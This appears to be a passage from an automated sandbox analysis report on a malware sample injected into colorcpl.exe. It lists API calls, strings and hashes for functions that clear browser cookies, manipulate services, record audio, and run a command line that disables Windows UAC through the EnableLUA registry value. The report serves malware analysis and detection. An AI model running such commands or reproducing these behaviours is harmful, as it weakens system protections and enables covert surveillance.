                                                                                    • ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,00000000), ref: 0281AEAC
                                                                                    • PathFileExistsA.SHLWAPI(?), ref: 0281AEB9
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseEnvironmentExistsExpandFileOpenPathQueryStringsValue
                                                                                    • String ID: [IE cookies cleared!]$[IE cookies not found]$Cookies$Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
                                                                                    • API String ID: 1133728706-4073444585
                                                                                    • Opcode ID: 23436a551def1796a2bf9260c6f5e1200ef5788201b882f327b54dbbbac26067
                                                                                    • Instruction ID: 4dccc39f83b74e3c1fc8fec3e14803eb70857fcee99b0b6adcd931b8873b9cb3
                                                                                    • Opcode Fuzzy Hash: 23436a551def1796a2bf9260c6f5e1200ef5788201b882f327b54dbbbac26067
                                                                                    • Instruction Fuzzy Hash: 55219C7DA40118AAEB04F7E8CC5ACEE732EAF65304F840558D906E72C4EB759949CA93
                                                                                    Function 0285E0DA Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 0285DE21: _free.LIBCMT ref: 0285DE4A
                                                                                    • _free.LIBCMT ref: 0285E128
                                                                                      • Part of subcall function 02853C92: RtlFreeHeap.NTDLL(00000000,00000000,?,0285DE4F,?,00000000,?,00000000,?,0285E0F3,?,00000007,?,?,0285E63E,?), ref: 02853CA8
                                                                                      • Part of subcall function 02853C92: GetLastError.KERNEL32(?,?,0285DE4F,?,00000000,?,00000000,?,0285E0F3,?,00000007,?,?,0285E63E,?,?), ref: 02853CBA
                                                                                    • _free.LIBCMT ref: 0285E133
                                                                                    • _free.LIBCMT ref: 0285E13E
                                                                                    • _free.LIBCMT ref: 0285E192
                                                                                    • _free.LIBCMT ref: 0285E19D
                                                                                    • _free.LIBCMT ref: 0285E1A8
                                                                                    • _free.LIBCMT ref: 0285E1B3
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free$ErrorFreeHeapLast
                                                                                    • String ID:
                                                                                    • API String ID: 776569668-0
                                                                                    • Opcode ID: d645742a9f031bfd4c53cfe37fe00a001808073c56fe889b6c8b285726f20831
                                                                                    • Instruction ID: bbe3850fb941d603d265f7fd2583b5da08095fe719623e8248c44ac336db0527
                                                                                    • Opcode Fuzzy Hash: d645742a9f031bfd4c53cfe37fe00a001808073c56fe889b6c8b285726f20831
                                                                                    • Instruction Fuzzy Hash: 5211723E541B28EAD920B7B4CC09FCF779F9F04700F408864AE9EE6050DA34BA444E52
                                                                                    Function 028480FA Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetLastError.KERNEL32(?,?,028480F1,0284705E), ref: 02848108
                                                                                    • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 02848116
                                                                                    • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0284812F
                                                                                    • SetLastError.KERNEL32(00000000,?,028480F1,0284705E), ref: 02848181
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ErrorLastValue___vcrt_
                                                                                    • String ID:
                                                                                    • API String ID: 3852720340-0
                                                                                    • Opcode ID: 5a24378d30bc197015ea9d5d42c127abf3e5a8943d391aa3a16e7f329246319c
                                                                                    • Instruction ID: a05573d4d10aa17481862108b857ed6a7d99a5abd6d562db729c7db2c216aa6d
                                                                                    • Opcode Fuzzy Hash: 5a24378d30bc197015ea9d5d42c127abf3e5a8943d391aa3a16e7f329246319c
                                                                                    • Instruction Fuzzy Hash: 1F01D43EA0D3296FA7142A78BC89A1A2A4AFB027B8720072BE818D00D0FF21D8149541
                                                                                    Function 0281A9E2 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Cookies), ref: 0281AA1E
                                                                                    • GetLastError.KERNEL32 ref: 0281AA28
                                                                                    Strings
                                                                                    • \AppData\Local\Google\Chrome\User Data\Default\Cookies, xrefs: 0281A9E9
                                                                                    • [Chrome Cookies found, cleared!], xrefs: 0281AA4E
                                                                                    • UserProfile, xrefs: 0281A9EE
                                                                                    • [Chrome Cookies not found], xrefs: 0281AA42
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: DeleteErrorFileLast
                                                                                    • String ID: [Chrome Cookies found, cleared!]$[Chrome Cookies not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Cookies
                                                                                    • API String ID: 2018770650-304995407
                                                                                    • Opcode ID: 2214d5625bb40d8cd3be91e792096f651cd49dcb449ee18c905a3d9dd5f1fb69
                                                                                    • Instruction ID: 9095ef3c70e64ec0fa86915f8f40de1a6e6aec2765918d1b791ea47007931eb3
                                                                                    • Opcode Fuzzy Hash: 2214d5625bb40d8cd3be91e792096f651cd49dcb449ee18c905a3d9dd5f1fb69
                                                                                    • Instruction Fuzzy Hash: DC01D63DA850086B6B0977BCDD1B8AE772DAD61604F400655E407D23C4FE529925DED3
                                                                                    Function 0285083A Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,028507EB,00000000,?,0285078B,00000000,0287B4F8,0000000C,028508E2,00000000,00000002), ref: 0285085A
                                                                                    • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0285086D
                                                                                    • FreeLibrary.KERNEL32(00000000,?,?,?,028507EB,00000000,?,0285078B,00000000,0287B4F8,0000000C,028508E2,00000000,00000002), ref: 02850890
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AddressFreeHandleLibraryModuleProc
                                                                                    • String ID: CorExitProcess$\y+/$mscoree.dll
                                                                                    • API String ID: 4061214504-778409217
                                                                                    • Opcode ID: 57fa59c22e23e5f4f02b702589753bbab079ee4adb84ae6567405d8e0fbc3a6b
                                                                                    • Instruction ID: 04eff422a477f24fc8e5604d92a31fa46c612ddf41794c1cd9dab30fb5625702
                                                                                    • Opcode Fuzzy Hash: 57fa59c22e23e5f4f02b702589753bbab079ee4adb84ae6567405d8e0fbc3a6b
                                                                                    • Instruction Fuzzy Hash: 8BF0A43CD40228BBDB155F94DC0CFAEBFB9EF04715F044565F809E2280DB389A50CA90
                                                                                    Function 0284887C Relevance: 9.3, APIs: 6, Instructions: 284COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • __allrem.LIBCMT ref: 02848A09
                                                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02848A25
                                                                                    • __allrem.LIBCMT ref: 02848A3C
                                                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02848A5A
                                                                                    • __allrem.LIBCMT ref: 02848A71
                                                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02848A8F
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
                                                                                    • String ID:
                                                                                    • API String ID: 1992179935-0
                                                                                    • Opcode ID: a5bb698a37765ca5ad947defe33ca2ea1dc364bfd829a3e03f22b831f39bfe5b
                                                                                    • Instruction ID: a6179846dbf05ef505cf52e9ca62110a92ce1ee5dcf5eb32d4d8c95ebd00a037
                                                                                    • Opcode Fuzzy Hash: a5bb698a37765ca5ad947defe33ca2ea1dc364bfd829a3e03f22b831f39bfe5b
                                                                                    • Instruction Fuzzy Hash: 3281FC7E600B1E9FD724EA7CCC41B6F73EAAF41364F14412AE655D6680EFB0D9008B56
                                                                                    Function 02852E0B Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: __cftoe
                                                                                    • String ID:
                                                                                    • API String ID: 4189289331-0
                                                                                    • Opcode ID: 58b38ba457509bf2a64d1bb220453d80f5a31db084cdba0e505a92fea7394922
                                                                                    • Instruction ID: c87179e233e2b29bea047107226f118ac2f98bcf103457e29d0e42fb846834c5
                                                                                    • Opcode Fuzzy Hash: 58b38ba457509bf2a64d1bb220453d80f5a31db084cdba0e505a92fea7394922
                                                                                    • Instruction Fuzzy Hash: 6F514C3F900229ABDB309B6C9C44FAE77AAEF48374F104259FC1DD6185EF31D5408A61
                                                                                    Function 0281F8B7 Relevance: 9.1, APIs: 6, Instructions: 75COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • std::_Lockit::_Lockit.LIBCPMT ref: 0281F8C4
                                                                                    • int.LIBCPMT ref: 0281F8D7
                                                                                      • Part of subcall function 0281CAE9: std::_Lockit::_Lockit.LIBCPMT ref: 0281CAFA
                                                                                      • Part of subcall function 0281CAE9: std::_Lockit::~_Lockit.LIBCPMT ref: 0281CB14
                                                                                    • std::_Facet_Register.LIBCPMT ref: 0281F917
                                                                                    • std::_Lockit::~_Lockit.LIBCPMT ref: 0281F920
                                                                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 0281F93E
                                                                                    • __Init_thread_footer.LIBCMT ref: 0281F97F
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_Init_thread_footerRegisterThrow
                                                                                    • String ID:
                                                                                    • API String ID: 3815856325-0
                                                                                    • Opcode ID: 753fed217bd713bc615e3bf91622fd800437f08b140394db07ae89394a7605db
                                                                                    • Instruction ID: 8d8364c2c72f26674e46fb20d2da36b5bb2654143344d7d3ad1861216f57a72d
                                                                                    • Opcode Fuzzy Hash: 753fed217bd713bc615e3bf91622fd800437f08b140394db07ae89394a7605db
                                                                                    • Instruction Fuzzy Hash: E921013E904618ABC611FBACD814D9E77ADAF04720B20019AEA05E76D4DF70AA11CFD2
                                                                                    Function 02855725 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetLastError.KERNEL32(?,0284EE9A,02848595,0284EE9A,02881E90,?,0284CC1A,FF8BC35D,02881E90,02881E90), ref: 02855729
                                                                                    • _free.LIBCMT ref: 0285575C
                                                                                    • _free.LIBCMT ref: 02855784
                                                                                    • SetLastError.KERNEL32(00000000,FF8BC35D,02881E90,02881E90), ref: 02855791
                                                                                    • SetLastError.KERNEL32(00000000,FF8BC35D,02881E90,02881E90), ref: 0285579D
                                                                                    • _abort.LIBCMT ref: 028557A3
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ErrorLast$_free$_abort
                                                                                    • String ID:
                                                                                    • API String ID: 3160817290-0
                                                                                    • Opcode ID: 605fc25ca9171a801d1dad24c7a03618d42b28da854ae61c404b540c07bf4e68
                                                                                    • Instruction ID: e11d89bc0f6645e5d8294f518de55df7f89c60cfa234c47c3e402db8e60fd932
                                                                                    • Opcode Fuzzy Hash: 605fc25ca9171a801d1dad24c7a03618d42b28da854ae61c404b540c07bf4e68
                                                                                    • Instruction Fuzzy Hash: D9F0F43E544730E6D32236386C4DB2F2A6F9BC1765FA10064FC1EE2280EF2DC8018A32
                                                                                    Function 02828A5C Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000020,00000000,00000001,?,?,?,?,?,?,028285D9,00000000), ref: 02828A6B
                                                                                    • OpenServiceW.ADVAPI32(00000000,00000000,00000020,?,?,?,?,?,?,028285D9,00000000), ref: 02828A7F
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,028285D9,00000000), ref: 02828A8C
                                                                                    • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,028285D9,00000000), ref: 02828A9B
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,028285D9,00000000), ref: 02828AAD
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,028285D9,00000000), ref: 02828AB0
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Service$CloseHandle$Open$ControlManager
                                                                                    • String ID:
                                                                                    • API String ID: 221034970-0
                                                                                    • Opcode ID: 681accda19c34dc6db53a4c440a4e046b78a8338badf70459bc92209f1ddb226
                                                                                    • Instruction ID: 4ad42f6c5a78b1405ada5fd878f399b15dffc9b4b336a18342c34f9d56f99b3b
                                                                                    • Opcode Fuzzy Hash: 681accda19c34dc6db53a4c440a4e046b78a8338badf70459bc92209f1ddb226
                                                                                    • Instruction Fuzzy Hash: 88F0F63D981238BFD610ABA49C4DEBF3B6CDF45250F000426FA09E2180EF688D5589F2
                                                                                    Function 02828BC7 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,028284D9,00000000), ref: 02828BD6
                                                                                    • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,028284D9,00000000), ref: 02828BEA
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,028284D9,00000000), ref: 02828BF7
                                                                                    • ControlService.ADVAPI32(00000000,00000003,?,?,?,?,?,?,?,028284D9,00000000), ref: 02828C06
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,028284D9,00000000), ref: 02828C18
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,028284D9,00000000), ref: 02828C1B
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Service$CloseHandle$Open$ControlManager
                                                                                    • String ID:
                                                                                    • API String ID: 221034970-0
                                                                                    • Opcode ID: 950225f653fcf6768d4f58b00468ffb133e5e6a06e91cdb1d66958aa7a8ba591
                                                                                    • Instruction ID: 11c5116f2fb50b379d6ed5c6099f047546c464fc8e41aa6452b59bd0d48bfcf3
                                                                                    • Opcode Fuzzy Hash: 950225f653fcf6768d4f58b00468ffb133e5e6a06e91cdb1d66958aa7a8ba591
                                                                                    • Instruction Fuzzy Hash: 82F0F67D981138BBD610ABA8AC4DEBF3B6CDF45250F000026FE09E2180EF6C8D5589F2
                                                                                    Function 02828B60 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,02828559,00000000), ref: 02828B6F
                                                                                    • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,02828559,00000000), ref: 02828B83
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,02828559,00000000), ref: 02828B90
                                                                                    • ControlService.ADVAPI32(00000000,00000002,?,?,?,?,?,?,?,02828559,00000000), ref: 02828B9F
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,02828559,00000000), ref: 02828BB1
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,02828559,00000000), ref: 02828BB4
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Service$CloseHandle$Open$ControlManager
                                                                                    • String ID:
                                                                                    • API String ID: 221034970-0
                                                                                    • Opcode ID: bfc0a552af255fd51f2208c8f121f31173394c2cb68cb6b131212ad2e07c788e
                                                                                    • Instruction ID: c4d93b9c295e4c4bb7960e975a74a06e5bf7be62f842d6c45f390f6d96d954e4
                                                                                    • Opcode Fuzzy Hash: bfc0a552af255fd51f2208c8f121f31173394c2cb68cb6b131212ad2e07c788e
                                                                                    • Instruction Fuzzy Hash: 7AF0C27D981128BBD610AAA49C4DEBB3B6CDB45250B000069FE09E2180EB688D5589B2
                                                                                    Function 02828A00 Relevance: 9.0, APIs: 6, Instructions: 39serviceCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000010,00000000,00000001,?,02828656,00000000), ref: 02828A09
                                                                                    • OpenServiceW.ADVAPI32(00000000,00000000,00000010,?,02828656,00000000), ref: 02828A1E
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,02828656,00000000), ref: 02828A2B
                                                                                    • StartServiceW.ADVAPI32(00000000,00000000,00000000,?,02828656,00000000), ref: 02828A36
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,02828656,00000000), ref: 02828A48
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,02828656,00000000), ref: 02828A4B
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Service$CloseHandle$Open$ManagerStart
                                                                                    • String ID:
                                                                                    • API String ID: 276877138-0
                                                                                    • Opcode ID: 17b6ccbd8d1893b4324afecfaefad6dada52cf39c30491f19573a9ea0aa69e86
                                                                                    • Instruction ID: 3c215e9bdd8e890ce4858fc983df287dcbf78c8f68068b7cb31be98ac1e9ef0d
                                                                                    • Opcode Fuzzy Hash: 17b6ccbd8d1893b4324afecfaefad6dada52cf39c30491f19573a9ea0aa69e86
                                                                                    • Instruction Fuzzy Hash: 76F0E97D541175BFD2109BA4AC8CDBF3B6CDF81390B000825F505E2080AF688D599973
                                                                                    Function 0282B2C4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57registryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • RegisterClassExA.USER32(00000030), ref: 0282B310
                                                                                    • CreateWindowExA.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,00000000,00000000), ref: 0282B32B
                                                                                    • GetLastError.KERNEL32 ref: 0282B335
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ClassCreateErrorLastRegisterWindow
                                                                                    • String ID: 0$MsgWindowClass
                                                                                    • API String ID: 2877667751-2410386613
                                                                                    • Opcode ID: 2d9a851dd487c1c66d1e79c2f85cb93645df3089065e843d4a338b01859d72b3
                                                                                    • Instruction ID: 667bba98fc228eb033f52eb0ac614a0d35006142a0b6b6fceea776bf4959d17b
                                                                                    • Opcode Fuzzy Hash: 2d9a851dd487c1c66d1e79c2f85cb93645df3089065e843d4a338b01859d72b3
                                                                                    • Instruction Fuzzy Hash: 140152B9D0022CAFDB00DFD5DC889EFBBBDFB04354F44052AF914A2240E77149088BA0
                                                                                    Function 0281E501 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43processCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f,00000000,00000000,00000000,08000000,00000000,00000000,?,?,?,?,?,?,00000000,02881FFC), ref: 0281E547
                                                                                    • CloseHandle.KERNEL32(?,?,?,?,?,00000000,02881FFC), ref: 0281E556
                                                                                    • CloseHandle.KERNEL32(?,?,?,?,?,00000000,02881FFC), ref: 0281E55B
                                                                                    Strings
                                                                                    • /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f, xrefs: 0281E53D
                                                                                    • C:\Windows\System32\cmd.exe, xrefs: 0281E542
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseHandle$CreateProcess
                                                                                    • String ID: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f$C:\Windows\System32\cmd.exe
                                                                                    • API String ID: 2922976086-4183131282
                                                                                    • Opcode ID: 19d741832c9d46bcfa1d9314291dbcf70a5867af564dd4a9959d8e8fe7e41a54
                                                                                    • Instruction ID: e05e2ec080ef824dda5a1ae1152de6c4be92cca1c03af97c4917fdd605683844
                                                                                    • Opcode Fuzzy Hash: 19d741832c9d46bcfa1d9314291dbcf70a5867af564dd4a9959d8e8fe7e41a54
                                                                                    • Instruction Fuzzy Hash: 65F0627ED401AC7ADB20AAE6AC0DEDF7F3DEBC5B10F000416F604A2140D9745110CAB1
                                                                                    Function 028150C4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35synchronizationCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,02881E90,02814E5A,00000001,?,00000000,02881E90,02814C88,00000000,?,?,02819DDD), ref: 02815100
                                                                                    • SetEvent.KERNEL32(?,?,00000000,02881E90,02814C88,00000000,?,?,02819DDD), ref: 0281510C
                                                                                    • WaitForSingleObject.KERNEL32(?,000000FF,?,00000000,02881E90,02814C88,00000000,?,?,02819DDD), ref: 02815117
                                                                                    • CloseHandle.KERNEL32(?,?,00000000,02881E90,02814C88,00000000,?,?,02819DDD), ref: 02815120
                                                                                      • Part of subcall function 028294DA: GetLocalTime.KERNEL32(00000000), ref: 028294F4
                                                                                    Strings
                                                                                    • Connection KeepAlive | Disabled, xrefs: 028150D9
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Event$CloseCreateHandleLocalObjectSingleTimeWait
                                                                                    • String ID: Connection KeepAlive | Disabled
                                                                                    • API String ID: 2993684571-3818284553
                                                                                    • Opcode ID: 8dd5b20a2c6e35244be0dd2b77c8f8416ccf715429379e6f89f0b77e6c5b9376
                                                                                    • Instruction ID: da82d3e26d5eab79a29f9eb41ab3da589d9b6a7bdfd0e9a6af6008fff1983f71
                                                                                    • Opcode Fuzzy Hash: 8dd5b20a2c6e35244be0dd2b77c8f8416ccf715429379e6f89f0b77e6c5b9376
                                                                                    • Instruction Fuzzy Hash: 8EF0BB7DD44360BFFB1137748C0E96A7F9D9B42310F001E49F886C17E4E6A98450CB52
                                                                                    Function 02811BC9 Relevance: 7.6, APIs: 5, Instructions: 71COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 02811BD9
                                                                                    • waveInOpen.WINMM(0287FAB0,000000FF,0287FA98,Function_00001CEB,00000000,00000000,00000024), ref: 02811C6F
                                                                                    • waveInPrepareHeader.WINMM(0287FA78,00000020), ref: 02811CC3
                                                                                    • waveInAddBuffer.WINMM(0287FA78,00000020), ref: 02811CD2
                                                                                    • waveInStart.WINMM ref: 02811CDE
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
